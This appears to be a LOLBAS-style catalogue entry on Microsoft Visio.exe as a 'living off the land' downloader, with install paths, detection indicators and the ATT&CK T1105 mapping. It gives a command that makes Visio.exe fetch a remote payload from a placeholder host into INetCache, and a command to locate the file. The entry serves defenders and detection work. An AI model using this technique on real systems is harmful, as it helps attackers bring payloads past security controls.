.. /Visio.exe
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Download (INetCache)

Microsoft Visio Executable

Paths:

C:\Program Files (x86)\Microsoft Office\Office14\Visio.exe
C:\Program Files\Microsoft Office\Office14\Visio.exe
C:\Program Files (x86)\Microsoft Office\Office15\Visio.exe
C:\Program Files\Microsoft Office\Office15\Visio.exe
C:\Program Files (x86)\Microsoft Office\Office16\Visio.exe
C:\Program Files\Microsoft Office\Office16\Visio.exe
C:\Program Files (x86)\Microsoft Office\root\Office14\Visio.exe
C:\Program Files\Microsoft Office\root\Office14\Visio.exe
C:\Program Files (x86)\Microsoft Office\root\Office15\Visio.exe
C:\Program Files\Microsoft Office\root\Office15\Visio.exe
C:\Program Files (x86)\Microsoft Office\root\Office16\Visio.exe
C:\Program Files\Microsoft Office\root\Office16\Visio.exe

Acknowledgements:

Avihay Eldad (@AvihayEldad)

Detections:

IOC: URL on a visio.exe command line
IOC: visio.exe making unexpected network connections or DNS requests

Download

Downloads payload from remote server
```
Visio.exe https://example.com/payload
```
Use case
It will download a remote payload and place it in INetCache.

Privileges required
User

Operating systems
Windows

ATT&CK® technique
T1105
Tags
Download: INetCache
INetCache downloaders typically store files in a randomly-named folder under %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE, having added [1] or a higher number between the file's name and its extension.
If you downloaded a file named XYZ.exe, the full path of the downloaded file can be obtained by executing the following command:
cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache XYZ*"